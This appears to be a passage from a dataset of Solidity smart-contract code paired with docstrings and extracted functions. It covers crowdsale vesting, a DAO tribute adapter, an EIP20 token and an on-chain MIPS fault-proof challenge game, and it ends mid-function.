_newReservedWallet; SetReservedWallet(_newReservedWallet); } /** * @dev change min ETH income during Window1-5 * @param _minETHin - new limit */ function setMinETHin(uint256 _minETHin) onlyOwner public { minETHin = _minETHin; SetMinETHincome(_minETHin); } /** * @dev set TLP1.X (2-7) start & end dates * @param _at - new or old start date */ function setStartEndTimeTLP(uint256 _at) onlyOwner public { require(block.timestamp < sT2); // forbid change time when TLP1.2 is active require(block.timestamp < _at); // should be great than current block timestamp sT2 = _at; SetStartTimeTLP2(_at); } /** * @dev Large Token Holder minting * @param to - mint to address * @param amount - how much mint */ function fundMinting(address to, uint256 amount) stopInEmergency public { require(msg.sender == fundMintingAgent || isOwner()); require(block.timestamp < sT2); require(fundTotalSupply + amount <= fundTokens); require(token.totalSupply() + amount <= hardCapInTokens); fundTotalSupply = fundTotalSupply.add(amount); token.mint(to, amount); FundMinting(to, amount); } /** * @dev calculate amount * @param amount - ether to be converted to tokens * @param at - current time * @param _totalSupply - total supplied tokens * @return tokens amount that we should send to our dear ppl * @return odd ethers amount, which contract should send back */ function calcAmountAt( uint256 amount, uint256 at, uint256 _totalSupply ) public constant returns (uint256, uint256) { uint256 estimate; uint256 price; if (at >= sT2 && at <= (sT2+dTLP2)) { if (at <= sT2 + 15 days) {price = 12e13;} else if (at <= sT2 + 30 days) { price = 14e13;} else if (at <= sT2 + 45 days) { price = 16e13;} else if (at <= sT2 + 60 days) { price = 18e13;} else if (at <= sT2 + 75 days) { price = 20e13;} else if (at <= sT2 + 90 days) { price = 22e13;} else if (at <= sT2 + 105 days) { price = 24e13;} else if (at <= sT2 + 118 days) { price = 26e13;} else {revert();} } else {revert();} estimate = _totalSupply.add(amount.mul(1e18).div(price)); if (estimate > hardCapInTokens) { return ( hardCapInTokens.sub(_totalSupply), estimate.sub(hardCapInTokens).mul(price).div(1e18) ); } return (estimate.sub(_totalSupply), 0); } /** * @dev fallback for processing ether */ function() payable public { return getTokens(msg.sender); } /** * @dev sell token and send to contributor address * @param contributor address */ function getTokens(address contributor) payable stopInEmergency validPurchase public { uint256 amount; uint256 oddEthers; uint256 ethers; uint256 _at; uint8 _winNum; _at = block.timestamp; require(contributor != 0x0); if (withinPeriod()) { (amount, oddEthers) = calcAmountAt(msg.value, _at, token.totalSupply()); // recheck!!! require(amount + token.totalSupply() <= hardCapInTokens); ethers = msg.value.sub(oddEthers); token.mint(contributor, amount); // fail if minting is finished TokenPurchase(contributor, ethers, amount); counter_in = counter_in.add(ethers); crowdTokensTLP2 = crowdTokensTLP2.add(amount); if (oddEthers > 0) { require(oddEthers < msg.value); contributor.transfer(oddEthers); TransferOddEther(contributor, oddEthers); } wallet.transfer(ethers); } else { require(msg.value >= minETHin); // checks min ETH income _winNum = stageName(); require(_winNum >= 0 && _winNum < 5); Window storage w = ww[_winNum]; require(w.tokenPerWindow > 0); // check that we have tokens! w.totalEthInWindow = w.totalEthInWindow.add(msg.value); ppls[w.totalTransCnt].addr = contributor; ppls[w.totalTransCnt].amount = msg.value; w.totalTransCnt++; TokenPurchaseInWindow(contributor, msg.value, _winNum, w.totalTransCnt, w.totalEthInWindow); } } /** * @dev close Window and transfer Eth to wallet address * @param _winNum - number of window 0-4 to close */ function closeWindow(uint8 _winNum) onlyOwner stopInEmergency public { require(ww[_winNum].active); ww[_winNum].active = false; wallet.transfer(this.balance); } /** * @dev transfer tokens to ppl accts (window1-5) * @param _winNum - number of window 0-4 to close */ function sendTokensWindow(uint8 _winNum) onlyOwner stopInEmergency public { uint256 _tokenPerETH; uint256 _tokenToSend = 0; address _tempAddr; uint32 index = ww[_winNum].refundIndex; TokenETH(ww[_winNum].totalEthInWindow, ww[_winNum].totalTransCnt); require(ww[_winNum].active); require(ww[_winNum].totalEthInWindow > 0); require(ww[_winNum].totalTransCnt > 0); _tokenPerETH = ww[_winNum].tokenPerWindow.div(ww[_winNum].totalEthInWindow); // max McFly in window / ethInWindow while (index < ww[_winNum].totalTransCnt && msg.gas > 100000) { _tokenToSend = _tokenPerETH.mul(ppls[index].amount); ppls[index].amount = 0; _tempAddr = ppls[index].addr; ppls[index].addr = 0; index++; token.transfer(_tempAddr, _tokenToSend); TokenWithdrawAtWindow(_tempAddr, _tokenToSend); } ww[_winNum].refundIndex = index; } /** * @dev open new window 0-5 and write totl token per window in structure * @param _winNum - number of window 0-4 to close * @param _tokenPerWindow - total token for window 0-4 */ function newWindow(uint8 _winNum, uint256 _tokenPerWindow) private { ww[_winNum] = Window(true, 0, 0, 0, _tokenPerWindow); NewWindow(_winNum, _tokenPerWindow); } /** * @dev Finish crowdsale TLP1.2 period and open window1-5 crowdsale */ function finishCrowd() onlyOwner public { uint256 _tokenPerWindow; require(now > (sT2.add(dTLP2)) || hardCapInTokens == token.totalSupply()); require(!token.mintingFinished()); _tokenPerWindow = (mintCapInTokens.sub(crowdTokensTLP2).sub(fundTotalSupply)).div(5); token.mint(this, _tokenPerWindow.mul(5)); // mint to contract address // shoud be MAX tokens minted!!! 1,800,000,000 for (uint8 y = 0; y < 5; y++) { newWindow(y, _tokenPerWindow); } token.finishMinting(); } /** * @dev withdraw tokens amount within vesting rules for team, advisory and reserved * @param withdrawWallet - wallet to transfer tokens * @param withdrawTokens - amount of tokens to transfer to * @param withdrawTotalSupply - total amount of tokens transfered to account * @return unit256 total amount of tokens after transfer */ function vestingWithdraw(address withdrawWallet, uint256 withdrawTokens, uint256 withdrawTotalSupply) private returns (uint256) { require(token.mintingFinished()); require(msg.sender == withdrawWallet || isOwner()); uint256 currentPeriod = (block.timestamp.sub(sT2.add(dTLP2))).div(VestingPeriodInSeconds); if (currentPeriod > VestingPeriodsCount) { currentPeriod = VestingPeriodsCount; } uint256 tokenAvailable = withdrawTokens.mul(currentPeriod).div(VestingPeriodsCount).sub(withdrawTotalSupply); // RECHECK!!!!! require(withdrawTotalSupply + tokenAvailable <= withdrawTokens); uint256 _withdrawTotalSupply = withdrawTotalSupply + tokenAvailable; token.transfer(withdrawWallet, tokenAvailable); WithdrawVesting(withdrawWallet, currentPeriod, tokenAvailable, _withdrawTotalSupply); return _withdrawTotalSupply; } /** * @dev withdraw tokens amount within vesting rules for team */ function teamWithdraw() public { teamTotalSupply = vestingWithdraw(teamWallet, _teamTokens, teamTotalSupply); } /** * @dev withdraw tokens amount within vesting rules for advisory */ function advisoryWithdraw() public { advisoryTotalSupply = vestingWithdraw(advisoryWallet, _advisoryTokens, advisoryTotalSupply); } /** * @dev withdraw tokens amount within vesting rules for reserved wallet */ function reservedWithdraw() public { reservedTotalSupply = vestingWithdraw(reservedWallet, _reservedTokens, reservedTotalSupply); } }
add address to whitelist from address to add
function allowTransfer(address from) onlyOwner public { whitelist[from] = true; AllowTransfer(from); }
2,368,140
./partial_match/56/0xBe86bf5C6431565c91f30e09f63724101fF43f29/sources/SeedChef.sol
if (IERC20(token).allowance(address(this),address(router))==0){ }
function ensureApproved(address token) internal { IERC20(token).approve(address(router), uint256(-1)); }
11,093,312
./full_match/1/0xb9fbe8fC6EB82b0b52A79C242dDB71f4D4aF6a8e/sources/contracts/shop/ProductComicV2.sol
Updates shop address Only callable by owner _shopAddress New shop address/
function setShopAddress(address _shopAddress) external onlyOwner { shopAddress = _shopAddress; emit ShopContractSet(shopAddress); }
8,351,675
pragma solidity ^0.8.0; // SPDX-License-Identifier: MIT import "./interfaces/ITribute.sol"; import "../core/DaoConstants.sol"; import "../core/DaoRegistry.sol"; import "../extensions/Bank.sol"; import "../adapters/interfaces/IVoting.sol"; import "../guards/MemberGuard.sol"; import "../guards/AdapterGuard.sol"; import "../utils/IERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../helpers/SafeERC20.sol"; /** MIT License Copyright (c) 2020 Openlaw Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract TributeContract is ITribute, DaoConstants, MemberGuard, AdapterGuard { using Address for address; using SafeERC20 for IERC20; event FailedOnboarding(address applicant, bytes32 cause); struct ProposalDetails { // The proposal id. bytes32 id; // The applicant address (who will receive the DAO internal tokens and become a member). address applicant; // The proposer address (who will provide the token tribute). address proposer; // The address of the DAO internal token to be minted to the applicant. address tokenToMint; // The amount requested of DAO internal tokens. uint256 requestAmount; // The address of the ERC-20 tokens provided as tribute by the proposer. address token; // The amount of tribute tokens. uint256 tributeAmount; } // Keeps track of all tribute proposals handled by each DAO. mapping(address => mapping(bytes32 => ProposalDetails)) public proposals; /** * @notice default fallback function to prevent from sending ether to the contract. */ receive() external payable { revert("fallback revert"); } function provideTributeNFT( DaoRegistry, bytes32, address, uint256, uint256 ) external pure override { revert("not supported operation"); } /** * @notice Configures the adapter for a particular DAO. * @notice Registers the DAO internal token with the DAO Bank. * @dev Only adapters registered to the DAO can execute the function call (or if the DAO is in creation mode). * @dev A DAO Bank extension must exist and be configured with proper access for this adapter. * @param dao The DAO address. * @param tokenAddrToMint The internal token address to be registered with the DAO Bank. */ function configureDao(DaoRegistry dao, address tokenAddrToMint) external onlyAdapter(dao) { BankExtension bank = BankExtension(dao.getExtensionAddress(BANK)); bank.registerPotentialNewInternalToken(tokenAddrToMint); } /** * @notice Creates a tribute proposal and escrows received tokens into the adapter. * @dev Applicant address must not be reserved. * @dev The proposer must first separately `approve` the adapter as spender of the ERC-20 tokens provided as tribute. * @param dao The DAO address. * @param proposalId The proposal id (managed by the client). * @param applicant The applicant address (who will receive the DAO internal tokens and become a member). * @param tokenToMint The address of the DAO internal token to be minted to the applicant. * @param requestAmount The amount requested of DAO internal tokens. * @param tokenAddr The address of the ERC-20 tokens provided as tribute by the proposer. * @param tributeAmount The amount of tribute tokens. */ function provideTribute( DaoRegistry dao, bytes32 proposalId, address applicant, address tokenToMint, uint256 requestAmount, address tokenAddr, uint256 tributeAmount ) public override { require( isNotReservedAddress(applicant), "applicant is reserved address" ); dao.potentialNewMember(applicant); IERC20 erc20 = IERC20(tokenAddr); erc20.safeTransferFrom(msg.sender, address(this), tributeAmount); _submitTributeProposal( dao, proposalId, applicant, msg.sender, tokenToMint, requestAmount, tokenAddr, tributeAmount ); } /** * @notice Sponsors a tribute proposal to start the voting process. * @dev Only members of the DAO can sponsor a tribute proposal. * @param dao The DAO address. * @param proposalId The proposal id. * @param data Additional details about the proposal. */ function sponsorProposal( DaoRegistry dao, bytes32 proposalId, bytes memory data ) external override { IVoting votingContract = IVoting(dao.getAdapterAddress(VOTING)); address sponsoredBy = votingContract.getSenderAddress( dao, address(this), data, msg.sender ); _sponsorProposal(dao, proposalId, data, sponsoredBy, votingContract); } /** * @notice Sponsors a tribute proposal to start the voting process. * @dev Only members of the DAO can sponsor a tribute proposal. * @param dao The DAO address. * @param proposalId The proposal id. * @param data Additional details about the proposal. * @param sponsoredBy The address of the sponsoring member. * @param votingContract The voting contract used by the DAO. */ function _sponsorProposal( DaoRegistry dao, bytes32 proposalId, bytes memory data, address sponsoredBy, IVoting votingContract ) internal { dao.sponsorProposal(proposalId, sponsoredBy, address(votingContract)); votingContract.startNewVotingForProposal(dao, proposalId, data); } /** * @notice Cancels a tribute proposal which marks it as processed and initiates refund of the tribute tokens to the proposer. * @dev Proposal id must exist. * @dev Only proposals that have not already been sponsored can be cancelled. * @dev Only proposer can cancel a tribute proposal. * @param dao The DAO address. * @param proposalId The proposal id. */ function cancelProposal(DaoRegistry dao, bytes32 proposalId) external override { ProposalDetails storage proposal = proposals[address(dao)][proposalId]; require(proposal.id == proposalId, "proposal does not exist"); require( !dao.getProposalFlag( proposalId, DaoRegistry.ProposalFlag.SPONSORED ), "proposal already sponsored" ); require( proposal.proposer == msg.sender, "only proposer can cancel a proposal" ); dao.processProposal(proposalId); _refundTribute( proposal.token, proposal.proposer, proposal.tributeAmount, "canceled" ); } /** * @notice Processes a tribute proposal to handle minting and exchange of DAO internal tokens for tribute tokens (passed vote) or the refund of tribute tokens (failed vote). * @dev Proposal id must exist. * @dev Only proposals that have not already been processed are accepted. * @dev Only sponsored proposals with completed voting are accepted. * @dev ERC-20 tribute tokens must be registered with the DAO Bank (a passed proposal will check and register the token if needed). * @param dao The DAO address. * @param proposalId The proposal id. */ function processProposal(DaoRegistry dao, bytes32 proposalId) external override { ProposalDetails storage proposal = proposals[address(dao)][proposalId]; require(proposal.id == proposalId, "proposal does not exist"); require( !dao.getProposalFlag( proposalId, DaoRegistry.ProposalFlag.PROCESSED ), "proposal already processed" ); IVoting votingContract = IVoting(dao.votingAdapter(proposalId)); require(address(votingContract) != address(0), "adapter not found"); IVoting.VotingState voteResult = votingContract.voteResult(dao, proposalId); dao.processProposal(proposalId); address token = proposal.token; address proposer = proposal.proposer; uint256 tributeAmount = proposal.tributeAmount; if (voteResult == IVoting.VotingState.PASS) { BankExtension bank = BankExtension(dao.getExtensionAddress(BANK)); address tokenToMint = proposal.tokenToMint; address applicant = proposal.applicant; bool success = _mintTokensToMember( dao, applicant, proposer, tokenToMint, proposal.requestAmount, token, tributeAmount ); if (success) { if (!bank.isTokenAllowed(token)) { bank.registerPotentialNewToken(token); } // On overflow failure, totalShares is 0, then return tokens to the proposer. try bank.addToBalance(GUILD, token, tributeAmount) { IERC20 erc20 = IERC20(token); erc20.safeTransfer(address(bank), tributeAmount); } catch { _refundTribute( token, proposer, tributeAmount, "overflow:erc20" ); // Remove the minted tokens bank.subtractFromBalance( applicant, token, proposal.requestAmount ); } } } else if ( voteResult == IVoting.VotingState.NOT_PASS || voteResult == IVoting.VotingState.TIE ) { _refundTribute(token, proposer, tributeAmount, "voting:fail"); } else { revert("proposal has not been voted on yet"); } } /** * @notice Submits a tribute proposal to the DAO. * @dev Proposal ids must be valid and cannot be reused. * @param dao The DAO address. * @param proposalId The proposal id. * @param applicant The applicant address (who will receive the DAO internal tokens and become a member). * @param proposer The proposer address (who will provide the token tribute). * @param tokenToMint The address of the DAO internal token to be minted to the applicant. * @param requestAmount The amount requested of DAO internal tokens. * @param tokenAddr The address of the ERC-20 tokens provided as tribute by the proposer. * @param tributeAmount The amount of tribute tokens. */ function _submitTributeProposal( DaoRegistry dao, bytes32 proposalId, address applicant, address proposer, address tokenToMint, uint256 requestAmount, address tokenAddr, uint256 tributeAmount ) internal { dao.submitProposal(proposalId); proposals[address(dao)][proposalId] = ProposalDetails( proposalId, applicant, proposer, tokenToMint, requestAmount, tokenAddr, tributeAmount ); } /** * @notice Refunds tribute tokens to the proposer. * @param tokenAddr The address of the ERC-20 tokens provided as tribute by the proposer. * @param proposer The proposer address (who will receive back the tribute tokens). * @param amount The amount of tribute tokens to be refunded. */ function _refundTribute( address tokenAddr, address proposer, uint256 amount, bytes32 cause ) internal { IERC20 erc20 = IERC20(tokenAddr); erc20.safeTransfer(proposer, amount); emit FailedOnboarding(proposer, cause); } /** * @notice Adds DAO internal tokens to applicant's balance and creates a new member entry (if applicant is not already a member). * @dev Internal tokens to be minted to the applicant must be registered with the DAO Bank. * @param dao The DAO address. * @param applicant The applicant address (who will receive the DAO internal tokens and become a member). * @param proposer The proposer address (who will be refunded the tribute tokens if the minting of internal tokens fails). * @param tokenToMint The address of the DAO internal token to be minted to the applicant. * @param requestAmount The amount requested of DAO internal tokens. * @param token The address of the ERC-20 tokens provided as tribute by the proposer. * @param tributeAmount The amount of tribute tokens to be refunded if the minting of internal tokens fails. */ function _mintTokensToMember( DaoRegistry dao, address applicant, address proposer, address tokenToMint, uint256 requestAmount, address token, uint256 tributeAmount ) internal returns (bool) { BankExtension bank = BankExtension(dao.getExtensionAddress(BANK)); require( bank.isInternalToken(tokenToMint), "it can only mint internal tokens" ); // Overflow risk may cause this to fail in which case the tribute tokens // are refunded to the proposer. try bank.addToBalance(applicant, tokenToMint, requestAmount) { return true; } catch { _refundTribute(token, proposer, tributeAmount, "overflow:mint"); return false; } } }
Submits a tribute proposal to the DAO. Proposal ids must be valid and cannot be reused. dao The DAO address. proposalId The proposal id. applicant The applicant address (who will receive the DAO internal tokens and become a member). proposer The proposer address (who will provide the token tribute). tokenToMint The address of the DAO internal token to be minted to the applicant. requestAmount The amount requested of DAO internal tokens. tokenAddr The address of the ERC-20 tokens provided as tribute by the proposer. tributeAmount The amount of tribute tokens./
function _submitTributeProposal( DaoRegistry dao, bytes32 proposalId, address applicant, address proposer, address tokenToMint, uint256 requestAmount, address tokenAddr, uint256 tributeAmount ) internal { dao.submitProposal(proposalId); proposals[address(dao)][proposalId] = ProposalDetails( proposalId, applicant, proposer, tokenToMint, requestAmount, tokenAddr, tributeAmount ); }
13,000,519
pragma solidity ^0.4.23; // Copyright 2017 OpenST Ltd. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // ---------------------------------------------------------------------------- // Utility chain: EIP20 Token Implementation // // http://www.simpletoken.org/ // // ---------------------------------------------------------------------------- import "./EIP20Interface.sol"; import "./SafeMath.sol"; /** * @title EIP20Token contract which implements EIP20Interface. * * @notice Implements EIP20 token. */ contract EIP20Token is EIP20Interface { using SafeMath for uint256; string private tokenName; string private tokenSymbol; uint8 private tokenDecimals; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; /** * @notice Contract constructor. * * @param _symbol Symbol of the token. * @param _name Name of the token. * @param _decimals Decimal places of the token. */ constructor(string _symbol, string _name, uint8 _decimals) public { tokenSymbol = _symbol; tokenName = _name; tokenDecimals = _decimals; } /** * @notice Public view function name. * * @return string Name of the token. */ function name() public view returns (string) { return tokenName; } /** * @notice Public view function symbol. * * @return string Symbol of the token. */ function symbol() public view returns (string) { return tokenSymbol; } /** * @notice Public view function decimals. * * @return uint8 Decimal places of the token. */ function decimals() public view returns (uint8) { return tokenDecimals; } /** * @notice Public view function balanceOf. * * @param _owner Address of the owner account. * * @return uint256 Account balance of the owner account. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @notice Public view function allowance. * * @param _owner Address of the owner account. * @param _spender Address of the spender account. * * @return uint256 Remaining allowance for the spender to spend from owner's account. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * @notice Public function transfer. * * @dev Fires the transfer event, throws if, _from account does not have enough * tokens to spend. * * @param _to Address to which tokens are transferred. * @param _value Amount of tokens to be transferred. * * @return bool True for a successful transfer, false otherwise. */ function transfer(address _to, uint256 _value) public returns (bool success) { // According to the EIP20 spec, "transfers of 0 values MUST be treated as normal // transfers and fire the Transfer event". // Also, should throw if not enough balance. This is taken care of by SafeMath. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @notice Public function transferFrom. * * @dev Allows a contract to transfer tokens on behalf of _from address to _to address, * the function caller has to be pre-authorized for multiple transfers up to the * total of _value amount by the _from address. * * @param _from Address from which tokens are transferred. * @param _to Address to which tokens are transferred. * @param _value Amount of tokens transferred. * * @return bool True for a successful transfer, false otherwise. */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } /** * @notice Public function approve. * * @dev Allows _spender address to withdraw from function caller's account, multiple times up * to the _value amount, if this function is called again * it overwrites the current allowance with _value. * * @param _spender Address authorized to spend from the function caller's address. * @param _value Amount up to which spender is authorized to spend. * * @return bool True for a successful approval, false otherwise. */ function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @notice Internal function claimEIP20. * * @dev Subtracts _amount of tokens from EIP20Token contract balance, * adds _amount to beneficiary's balance. * * @param _beneficiary Address of tokens beneificary. * @param _amount Amount of tokens claimed for beneficiary. * * @return bool True if claim of tokens for beneficiary address is successful, * false otherwise. */ function claimEIP20(address _beneficiary, uint256 _amount) internal returns (bool success) { // claimable tokens are minted in the contract address to be pulled on claim balances[address(this)] = balances[address(this)].sub(_amount); balances[_beneficiary] = balances[_beneficiary].add(_amount); emit Transfer(address(this), _beneficiary, _amount); return true; } /** * @notice Internal function mintEIP20. * * @dev Adds _amount tokens to EIP20Token contract balance. * * @param _amount Amount of tokens to mint. * * @return bool True if mint is successful, false otherwise. */ function mintEIP20(uint256 _amount) internal returns (bool /* success */) { // mint EIP20 tokens in contract address for them to be claimed balances[address(this)] = balances[address(this)].add(_amount); return true; } /** * @notice Internal function burnEIP20. * * @dev Subtracts _amount tokens from the balance of function caller's address. * * @param _amount Amount of tokens to burn. * * @return bool True if burn is successful, false otherwise. */ function burnEIP20(uint256 _amount) internal returns (bool /* success */) { balances[msg.sender] = balances[msg.sender].sub(_amount); return true; } }
Public view function name. return string Name of the token./
function name() public view returns (string) { return tokenName; }
6,434,662
// SPDX-License-Identifier: MIT pragma solidity ^0.7.3; pragma experimental ABIEncoderV2; import "./lib/Lib_RLPReader.sol"; /// @notice MIPS virtual machine interface interface IMIPS { /// @notice Given a MIPS state hash (includes code & registers), execute the next instruction and returns /// the update state hash. function Step(bytes32 stateHash) external returns (bytes32); /// @notice Returns the associated MIPS memory contract. function m() external pure returns (IMIPSMemory); } /// @notice MIPS memory (really "state", including registers and memory-mapped I/O) interface IMIPSMemory { /// @notice Adds a `(hash(anything) => anything)` entry to the mapping that underpins all the /// Merkle tries that this contract deals with (where "state hash" = Merkle root of such /// a trie). /// @param anything node data to add to the trie function AddTrieNode(bytes calldata anything) external; function ReadMemory(bytes32 stateHash, uint32 addr) external view returns (uint32); function ReadBytes32(bytes32 stateHash, uint32 addr) external view returns (bytes32); /// @notice Write 32 bits at the given address and returns the updated state hash. function WriteMemory(bytes32 stateHash, uint32 addr, uint32 val) external returns (bytes32); /// @notice Write 32 bytes at the given address and returns the updated state hash. function WriteBytes32(bytes32 stateHash, uint32 addr, bytes32 val) external returns (bytes32); } /// @notice Implementation of the challenge game, which allows a challenger to challenge an L1 block /// by asserting a different state root for the transition implied by the block's /// transactions. The challenger plays against a defender (the owner of this contract), /// which we assume acts honestly. The challenger and the defender perform a binary search /// over the execution trace of the fault proof program (in this case minigeth), in order /// to determine a single execution step that they disagree on, at which point that step /// can be executed on-chain in order to determine if the challenge is valid. contract Challenge { address payable immutable owner; IMIPS immutable mips; IMIPSMemory immutable mem; /// @notice State hash of the fault proof program's initial MIPS state. bytes32 public immutable globalStartState; constructor(IMIPS _mips, bytes32 _globalStartState) { owner = msg.sender; mips = _mips; mem = _mips.m(); globalStartState = _globalStartState; } struct ChallengeData { // Left bound of the binary search: challenger & defender agree on all steps <= L. uint256 L; // Right bound of the binary search: challenger & defender disagree on all steps >= R. uint256 R; // Maps step numbers to asserted state hashes for the challenger. mapping(uint256 => bytes32) assertedState; // Maps step numbers to asserted state hashes for the defender. mapping(uint256 => bytes32) defendedState; // Address of the challenger. address payable challenger; // Block number preceding the challenged block. uint256 blockNumberN; } /// @notice ID if the last created challenged, incremented for new challenge IDs. uint256 public lastChallengeId = 0; /// @notice Maps challenge IDs to challenge data. mapping(uint256 => ChallengeData) public challenges; /// @notice Emitted when a new challenge is created. event ChallengeCreated(uint256 challengeId); /// @notice Challenges the transition from block `blockNumberN` to the next block (N+1), which is /// the block being challenged. /// Before calling this, it is necessary to have loaded all the trie node necessary to /// write the input hash in the Merkleized initial MIPS state, and to read the output hash /// and machine state from the Merkleized final MIPS state (i.e. `finalSystemState`). Use /// `MIPSMemory.AddTrieNode` for this purpose. Use `callWithTrieNodes` to figure out /// which nodes you need. /// @param blockNumberN The number N of the parent of the block being challenged /// @param blockHeaderNp1 The RLP-encoded header of the block being challenged (N+1) /// @param assertionRoot The state root that the challenger claims is the correct one for the /// given the transactions included in block N+1. /// @param finalSystemState The state hash of the fault proof program's final MIPS state. /// @param stepCount The number of steps (MIPS instructions) taken to execute the fault proof /// program. /// @return The challenge identifier function initiateChallenge( uint blockNumberN, bytes calldata blockHeaderNp1, bytes32 assertionRoot, bytes32 finalSystemState, uint256 stepCount) external returns (uint256) { bytes32 computedBlockHash = keccak256(blockHeaderNp1); // get block hashes, can replace with oracle bytes32 blockNumberNHash = blockhash(blockNumberN); bytes32 blockNumberNp1Hash = blockhash(blockNumberN+1); if (blockNumberNHash == bytes32(0) || blockNumberNp1Hash == bytes32(0)) { revert("block number too old to challenge"); } require(blockNumberNp1Hash == computedBlockHash, "incorrect header supplied for block N+1"); // Decode the N+1 block header to construct the fault proof program's input hash. // Because the input hash is constructed from data proven against on-chain block hashes, // it is provably correct, and we can consider that both parties agree on it. bytes32 inputHash; { Lib_RLPReader.RLPItem[] memory decodedHeader = Lib_RLPReader.readList(blockHeaderNp1); bytes32 parentHash = Lib_RLPReader.readBytes32(decodedHeader[0]); // This should never happen, as we validated the hashes beforehand. require(blockNumberNHash == parentHash, "parent block hash somehow wrong"); bytes32 newroot = Lib_RLPReader.readBytes32(decodedHeader[3]); require(assertionRoot != newroot, "asserting that the real state is correct is not a challenge"); bytes32 txhash = Lib_RLPReader.readBytes32(decodedHeader[4]); bytes32 coinbase = bytes32(uint256(uint160(Lib_RLPReader.readAddress(decodedHeader[2])))); bytes32 unclehash = Lib_RLPReader.readBytes32(decodedHeader[1]); bytes32 gaslimit = Lib_RLPReader.readBytes32(decodedHeader[9]); bytes32 time = Lib_RLPReader.readBytes32(decodedHeader[11]); inputHash = keccak256(abi.encodePacked(parentHash, txhash, coinbase, unclehash, gaslimit, time)); } // Write input hash at predefined memory address. bytes32 startState = globalStartState; startState = mem.WriteBytes32(startState, 0x30000000, inputHash); // Confirm that `finalSystemState` asserts the state you claim and that the machine is stopped. require(mem.ReadMemory(finalSystemState, 0xC0000080) == 0x5EAD0000, "the final MIPS machine state is not stopped (PC != 0x5EAD0000)"); require(mem.ReadMemory(finalSystemState, 0x30000800) == 0x1337f00d, "the final state root has not been written a the predefined MIPS memory location"); require(mem.ReadBytes32(finalSystemState, 0x30000804) == assertionRoot, "the final MIPS machine state asserts a different state root than your challenge"); uint256 challengeId = lastChallengeId++; ChallengeData storage c = challenges[challengeId]; // A NEW CHALLENGER APPEARS c.challenger = msg.sender; c.blockNumberN = blockNumberN; c.assertedState[0] = startState; c.defendedState[0] = startState; c.assertedState[stepCount] = finalSystemState; c.L = 0; c.R = stepCount; emit ChallengeCreated(challengeId); return challengeId; } /// @notice Calling `initiateChallenge`, `confirmStateTransition` or `denyStateTransition requires /// some trie nodes to have been supplied beforehand (see these functions for details). /// This function can be used to figure out which nodes are needed, as memory-accessing /// functions in MIPSMemory.sol will revert with the missing node ID when a node is /// missing. Therefore, you can call this function repeatedly via `eth_call`, and /// iteratively build the list of required node until the call succeeds. /// @param target The contract to call to (usually this contract) /// @param dat The data to include in the call (usually the calldata for a call to /// one of the aforementionned functions) /// @param nodes The nodes to add the MIPS state trie before making the call function callWithTrieNodes(address target, bytes calldata dat, bytes[] calldata nodes) public { for (uint i = 0; i < nodes.length; i++) { mem.AddTrieNode(nodes[i]); } (bool success, bytes memory revertData) = target.call(dat); if (!success) { uint256 revertDataLength = revertData.length; assembly { let revertDataStart := add(revertData, 32) revert(revertDataStart, revertDataLength) } } } /// @notice Indicates whether the given challenge is still searching (true), or if the single step /// of disagreement has been found (false). function isSearching(uint256 challengeId) view public returns (bool) { ChallengeData storage c = challenges[challengeId]; require(c.challenger != address(0), "invalid challenge"); return c.L + 1 != c.R; } /// @notice Returns the next step number where the challenger and the defender must compared /// state hash, namely the midpoint between the current left and right bounds of the /// binary search. function getStepNumber(uint256 challengeId) view public returns (uint256) { ChallengeData storage c = challenges[challengeId]; require(c.challenger != address(0), "invalid challenge"); return (c.L+c.R)/2; } /// @notice Returns the last state hash proposed by the challenger during the binary search. function getProposedState(uint256 challengeId) view public returns (bytes32) { ChallengeData storage c = challenges[challengeId]; require(c.challenger != address(0), "invalid challenge"); uint256 stepNumber = getStepNumber(challengeId); return c.assertedState[stepNumber]; } /// @notice The challenger can call this function to submit the state hash for the next step /// in the binary search (cf. `getStepNumber`). function proposeState(uint256 challengeId, bytes32 stateHash) external { ChallengeData storage c = challenges[challengeId]; require(c.challenger != address(0), "invalid challenge"); require(c.challenger == msg.sender, "must be challenger"); require(isSearching(challengeId), "must be searching"); uint256 stepNumber = getStepNumber(challengeId); require(c.assertedState[stepNumber] == bytes32(0), "state already proposed"); c.assertedState[stepNumber] = stateHash; } /// @notice The defender can call this function to submit the state hash for the next step /// in the binary search (cf. `getStepNumber`). He can only do this after the challenger /// has submitted his own state hash for this step. /// If the defender believes there are less steps in the execution of the fault proof /// program than the current step number, he should submit a state hash of 0. function respondState(uint256 challengeId, bytes32 stateHash) external { ChallengeData storage c = challenges[challengeId]; require(c.challenger != address(0), "invalid challenge"); require(owner == 